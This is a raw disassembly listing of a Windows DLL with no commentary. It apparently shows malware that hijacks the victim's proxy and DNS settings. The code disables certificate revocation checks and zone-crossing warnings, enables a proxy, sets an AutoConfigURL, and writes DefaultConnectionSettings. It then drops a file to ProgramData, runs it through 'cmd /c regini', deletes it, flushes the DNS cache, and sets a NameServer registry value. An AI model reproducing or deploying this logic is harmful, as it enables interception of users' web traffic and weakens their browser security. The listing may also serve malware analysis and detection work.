lea eax, [ebp - 0x114]
push eax
push 4
push 0
push str.DisableCachingOfSSLPages
push dword [ebp - 0x438]
call edi
test eax, eax
je 0x10003ea7
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x114], 0
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
mov dword [ebp - 0x410], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003f37
lea eax, [ebp - 0x440]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10003f37
push 4
lea eax, [ebp - 0x114]
push eax
push 4
push 0
push str.WarnonZoneCrossing
push dword [ebp - 0x440]
call edi
test eax, eax
je 0x10003f37
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x114], 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
mov dword [ebp - 0x410], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003fc7
lea eax, [ebp - 0x444]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10003fc7
push 4
lea eax, [ebp - 0x114]
push eax
push 4
push 0
push str.CertificateRevocation
push dword [ebp - 0x444]
call edi
test eax, eax
je 0x10003fc7
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x114], 0
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
mov dword [ebp - 0x410], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004057
lea eax, [ebp - 0x448]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10004057
push 4
lea eax, [ebp - 0x114]
push eax
push 4
push 0
push str.UrlEncoding
push dword [ebp - 0x448]
call edi
test eax, eax
je 0x10004057
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x114], 0
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
mov dword [ebp - 0x410], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100040e7
lea eax, [ebp - 0x43c]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x100040e7
push 4
lea eax, [ebp - 0x114]
push eax
push 4
push 0
push str.PrivacyAdvanced
push dword [ebp - 0x43c]
call edi
test eax, eax
je 0x100040e7
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x114], 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
mov dword [ebp - 0x410], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004177
lea eax, [ebp - 0x44c]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10004177
push 4
lea eax, [ebp - 0x114]
push eax
push 4
push 0
push str.EnableNegotiate
push dword [ebp - 0x44c]
call edi
test eax, eax
je 0x10004177
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x114], 1
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
mov dword [ebp - 0x410], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004207
lea eax, [ebp - 0x450]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10004207
push 4
lea eax, [ebp - 0x114]
push eax
push 4
push 0
push str.MigrateProxy
push dword [ebp - 0x450]
call edi
test eax, eax
je 0x10004207
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x410]
mov dword [ebp - 0x114], 0
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
mov dword [ebp - 0x410], 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004297
lea eax, [ebp - 0x454]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0x10004297
push 4
lea eax, [ebp - 0x114]
push eax
push 4
push 0
push str.ProxyEnable
push dword [ebp - 0x454]
call edi
test eax, eax
je 0x10004297
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x490]
mov dword [ebp - 0x410], 0x80000001
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100042b6
lea eax, [ebp - 0x410]
sub ecx, edx
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion_
push 0x80000001
lea esi, [ecx + 1]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004333
lea eax, [ebp - 0x418]
push eax
push str.Internet_Settings
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10004333
push esi
push dword [ebp - 0x490]
push 1
push eax
push str.AutoConfigURL
push dword [ebp - 0x418]
call edi
test eax, eax
je 0x10004333
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x1f0], 0x10
lea eax, [ebp - 0x110]
push 0x100
push 0
lea edi, [ebp - 0x204]
mov dword [ebp - 0x410], 0x80000001
cmovae edi, dword [ebp - 0x204]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x49c]
push edi
call fcn.10008bc0
mov edx, dword [ebp - 0x49c]
add edx, 0xfffffff0
mov eax, dword [eax]
mov eax, dword [eax - 0xc]
mov dword [ebp - 0x114], eax
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x100043a8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor esi, esi
cmp dword [ebp - 0x114], esi
jbe 0x10004410
movsx edx, byte [edi + esi]
movsx ecx, byte [edi + esi + 1]
cmp edx, 0x39
jle 0x100043d1
cmp edx, 0x47
mov eax, 0xffffffc9
cmovge eax, dword [ebp - 0x494]
jmp 0x100043d6
mov eax, 0xffffffd0
add edx, eax
cmp ecx, 0x39
jle 0x100043ee
cmp ecx, 0x47
mov eax, 0xffffffc9
cmovge eax, dword [ebp - 0x494]
jmp 0x100043f3
mov eax, 0xffffffd0
add cl, al
shl dl, 4
mov eax, esi
or cl, dl
shr eax, 1
add esi, 2
mov byte [ebp + eax - 0x110], cl
cmp esi, dword [ebp - 0x114]
jb 0x100043b2
lea eax, [ebp - 0x410]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionInternet_Settings_
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000448c
lea eax, [ebp - 0x420]
push eax
push str.Connections
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1000448c
push 0x100
lea eax, [ebp - 0x110]
push eax
push 3
push 0
push str.DefaultConnectionSettings
push dword [ebp - 0x420]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1000448c
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x1f4
call esi
push 0x15
push str.C:ProgramData22.txt
lea ecx, [ebp - 0x48c]
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x478], 0xf
mov byte [ebp - 0x48c], 0
call fcn.100066b0
push 0xb0
lea eax, [ebp - 0x3dc]
mov byte [ebp - 4], 0x1e
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x48c]
push eax
lea ecx, [ebp - 0x3dc]
call fcn.10004b20
mov edx, str.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnections__2_8_19_
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x3dc]
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
lea ecx, [ebp - 0x3d8]
call fcn.10006a70
test eax, eax
jne 0x10004552
mov eax, dword [ebp - 0x3dc]
lea ecx, [ebp - 0x3dc]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10001ba0
mov eax, dword [ebp - 0x3dc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3dc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x3e0], eax
lea ecx, [ebp - 0x3d8]
call fcn.10005610
mov eax, dword [ebp - 0x3dc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x3dc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x3e0], eax
lea eax, [ebp - 0x374]
mov byte [ebp - 4], 0x20
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.100096ef
mov byte [ebp - 4], 0x19
add esp, 4
mov edx, dword [ebp - 0x478]
cmp edx, 0x10
jb 0x10004606
mov ecx, dword [ebp - 0x48c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100045fc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push edx
push ecx
call fcn.1000aabd
add esp, 8
push 0
push str.cmd__c_regini_C:ProgramData22.txt
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x1f4
call esi
push str.C:ProgramData22.txt
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
push 0x1f4
call esi
xor dl, dl
mov ecx, str.CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsConnections
call fcn.10002170
push str.dnsapi.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x10004665
push str.DnsFlushResolverCache
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x1000465e
call eax
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
cmp dword [ebp - 0x268], 0x10
lea edi, [ebp - 0x27c]
lea eax, [ebp - 0x1bc]
mov dword [ebp - 0x410], 0x80000002
cmovae edi, dword [ebp - 0x27c]
cmp dword [ebp - 0x1a8], 0x10
mov ecx, edi
cmovae eax, dword [ebp - 0x1bc]
mov dword [ebp - 0x114], eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100046a2
lea eax, [ebp - 0x410]
sub ecx, edx
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesTcpipParametersInterfaces_
push 0x80000002
lea esi, [ecx + 1]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000471f
lea eax, [ebp - 0x414]
push eax
push dword [ebp - 0x114]
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1000471f
push esi
push edi
push 1
push eax
push str.NameServer
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1000471f
mov edx, 0x1000fd88
mov ecx, 0x100137f8
call fcn.100072c0
push eax
call fcn.10007570
add esp, 4
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x45c]
mov edi, dword [ebp - 0x178]
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x208]
cmp edx, 0x10
jb 0x10004780
mov ecx, dword [ebp - 0x21c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10004776
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push edx
push ecx
call fcn.1000aabd
add esp, 8
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x190]
cmp edx, 0x10
jb 0x100047be
mov ecx, dword [ebp - 0x1a4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100047b4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push edx
push ecx
call fcn.1000aabd
add esp, 8
mov byte [ebp - 4], 0x16
cmp edi, 0x10
jb 0x100047f2
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x100047e8
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push ecx
push esi
call fcn.1000aabd
add esp, 8
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x220]
cmp edx, 0x10
jb 0x10004830
mov ecx, dword [ebp - 0x234]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10004826
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push edx
push ecx
call fcn.1000aabd
add esp, 8
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x238]
mov edi, dword [ebp - 0x458]
cmp edx, 0x10
jb 0x10003450
mov ecx, dword [ebp - 0x24c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000486e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10002e0a
push edx
push ecx
call fcn.1000aabd
mov edi, dword [ebp - 0x458]
add esp, 8
jmp 0x10003450